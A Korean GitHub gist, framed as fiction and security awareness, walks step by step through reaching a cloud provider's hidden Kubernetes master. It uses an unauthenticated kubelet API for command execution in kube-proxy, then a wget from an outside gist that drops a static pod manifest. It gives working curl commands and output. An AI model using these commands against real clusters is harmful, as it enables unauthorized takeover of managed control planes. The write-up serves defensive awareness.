Skip to content

Instantly share code, notes, and snippets.

@leoh0
Last active May 1, 2022 12:41
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save leoh0/1a41ff65ed3b720363382b13bbb82e3f to your computer and use it in GitHub Desktop.
Save leoh0/1a41ff65ed3b720363382b13bbb82e3f to your computer and use it in GitHub Desktop.
(픽션) cloud의 kubernetes 서비스에서 숨겨둔 master 노드에 들어가기

개요

우선 이 글은 cloud의 k8s 서비스들의 보안이 허술했을때 이야기 입니다. 현재로는 대부분의 서비스들이 높은 보안 수준을 유지하고 있기때문에 이런일은 없다고 볼 수 있습니다. 이 글은 픽션이고 k8s의 보안에 대한 경각심과 지식추구를 위해 작성되는 것입니다. 함부로 다른 서비스에 위해를 가하는 것은 엄연한 불법이고 이 글이 지향하는 바는 아닙니다.

cloud의 k8s 서비스는 master가 숨겨져 있다.

우선 이글을 읽기 전에 기초적으로 설명드려야 할 것은 대부분의 cloud의 k8s 서비스들은 master node가 존재하지 않는 구조임을 알고 있어야 합니다. 왜 master가 존재하지 않는지 먼저 설명하기 앞서, 정확하게 유저에 클러스터에 node로 master가 존재하지 않는 것이지 실제로 모든 k8s cluster는 master가 필요합니다. 즉, node로 등록이 안되어 master는 유저가 접근이 불가능하게 되어 있고 master에 유저가 원하는 워크로드를 당연히 올릴 수 없게 되어 있을 뿐이고 실제 master는 cloud에서 직접 관리하는식으로 제공합니다.

그렇다면 왜 master가 숨겨져 있을까요? 이유는 여러가지가 있지만 대부분의 cloud 서비스는 management의 영역과 user의 영역을 정확하게 구분해야 합니다. k8s의 형상이란 걸 정의할때 여러가지 구성요소가 있겠지만 대부분 master와 같은 control plane 노드안에 담겨져 있고 이부분이 user가 변경하지 않아야 k8s 각 클러스터의 보다 정확한 형상관리가 가능해집니다. 그래서 master를 management 영역으로 두고 유저가 원하는 워크로드를 올릴 수 있는 영역을 user 영역으로 두고 있습니다. 그래서 user가 master에 접근을 못하도록 막는 것이 중요합니다.

시나리오

master의 ip를 찾고 열린 포트들을 확인한다.

우선 한군데 worker 노드로 우선 접속해서 그 노드에서 연결된 master의 ip를 찾습니다. 대부분 외부에서 접근 할 수 있는 master의 ip를 확인할 수도 있지만 보통은 worker와 master는 같은 vpc 내의 private ip들로 구성되어 보통 외부보다는 접근이 더 많이 풀려있는 편입니다.

그래서 아래와 같이 192.168.183.36 이 6443 port가 열려서 master ip임을 알 수 있습니다.

# ss -tapn | grep 6443
...
ESTAB      0      0      192.168.183.192:40846        192.168.183.36:6443                users:(("kubelet",pid=15796,fd=8))
ESTAB      0      0      192.168.183.192:59218        192.168.183.36:6443                users:(("kube-proxy",pid=12141,fd=5))
...

그리고 열린 포트들을 확인중 아래와 같이 10250 포트가 열려 있는 경우가 있습니다. 이 포트는 kubelet에 접속하는 포트입니다. 만약 이렇다면 6443을 가진 해당 ip가 10250 포트가 열려서 kubelet을 서비스 하고 있음을 알 수 있습니다.

# curl https://192.168.184.81:10250/ -kv
...
> GET / HTTP/1.1
> Host: 192.168.184.81:10250
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 404 Not Found
< Content-Type: text/plain; charset=utf-8
< X-Content-Type-Options: nosniff
< Date: Tue, 18 Aug 2020 15:30:47 GMT
< Content-Length: 19
<
404 page not found
* Connection #0 to host 192.168.184.81 left intact

kubelet을 제어한다.

그리고 아래와 같이 api를 사용해보면 해당 kubelet에 인증이 있는지 없는지 확인 가능합니다. 이게 인증이 안걸려 있다는건 왠만한 kubelet의 모든 것을 컨트롤 가능 하다는 의미가 됩니다.

# curl https://192.168.184.81:10250/stats/ -kv
...
> GET /stats/ HTTP/1.1
> Host: 192.168.184.81:10250
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Type: application/json
< Date: Tue, 18 Aug 2020 15:33:26 GMT
< Transfer-Encoding: chunked
<

물론 kubelet을 제어할 수 있다고 해도 kubelet을 통해서는 해당 node들의 container 안에만 접근가능하지(exec, run) 새로운 권한이나 얻을 수 있는 정보는 한계가 있습니다. 그리고 새로운 pod을 해당 node에서 띄우고 싶어도 node로 등록되어 있지 않은 kubelet에서는 새로운 pod을 생성 할 수 없습니다.

그렇지만 이 노드에서는 static pod으로 컨테이너를 관리하기 때문에 만약 해당 디렉토리 안에 pod을 위한 yaml이 생성된다면 해당 노드에서 컨테이너가 생성가능해집니다. 즉, /etc/kubernetes/manifest 를 static pod이 사용하는 디렉토리이기 때문에 이 디렉토리에 파일 작성이 가능하면 됩니다.

그래서 kubelet으로 해당 디렉토리를 사용하고 있는 pod을 조사하게 됩니다. 그래서 살펴보면 팟 중에 kube-proxy가 떠 있고 /etc/kubernetes 를 rw 마운트 한게 보입니다.

# curl https://192.168.184.81:10250/pods/ -k
...
      "spec": {
        "volumes": [
          {
            "name": "kubeconfig",
            "hostPath": {
              "path": "/etc/kubernetes",
              "type": "Directory"
            }
          }
        ],
       "containers": [
          {
            "name": "kube-proxy",
            "image": "k8s.gcr.io/kube-proxy:v1.18.8",
            "command": [
              "/usr/local/bin/kube-proxy",
              "--config=/var/lib/kube-proxy/config.conf"
            ],
            "resources": {},
            "volumeMounts": [
              {
                "name": "kubeconfig",
                "mountPath": "/etc/kubernetes"
              },
...

kubelet 으로 새로운 pod을 생성시킨다.

kubelet api로 해당 pod 안에 커맨드를 사용할 수 있는 방법은 크게 execrun 이 있습니다. 각각 용도가 좀 다를 수 있지만 결국 둘다 pod안에서 커맨드가 실행가능합니다. run 같은 커맨드를 사용한다고 가정하면 아래와 같이 접근 가능합니다.

# curl -k -XPOST  'https://192.168.185.21:10250/run/kube-system/kube-proxy-**********/kube-proxy'  -d 'cmd=ls'
bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

다만 run 커맨드는 pipe, redirect 가 쓰기가 불편해서 apt 같은 커맨드로 pod 안에 wget을 설치하면 이후 wget을 사용가능할 수 있습니다.

curl -k \
  -XPOST \
  'https://192.168.185.21:10250/run/kube-system/kube-proxy-**********/kube-proxy' \
  -d 'cmd=wget -O /etc/kubernetes/manifests/hello.yaml https://gist.githubusercontent.com/leoh0/6ff9a403e59505f3b83ef350463f8ce9/raw/765948c91f8a261d67191c501c839b73acc4217c/sample.yaml'

결국 이렇게 하면 이 노드에서는 새로운 pod이 생성되고 이 node를 통해서 master를 접근 가능할 수 있게 됩니다.

curl -k -XPOST  'https://192.168.185.21:10250/run/default/hello-**********/alpine' -d 'cmd=*****'

결론

kubelet의 인증은 꽤 오래전 k8s 버전부터 기본으로 적용되게 되어 있습니다. 이를 제때 막지 않으면 이런식으로 권한 없는 유저가 월권해서 접근하는 불상사가 일어 날 수 있기때문에 이를 제대로 관리 하는 것이 중요합니다.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment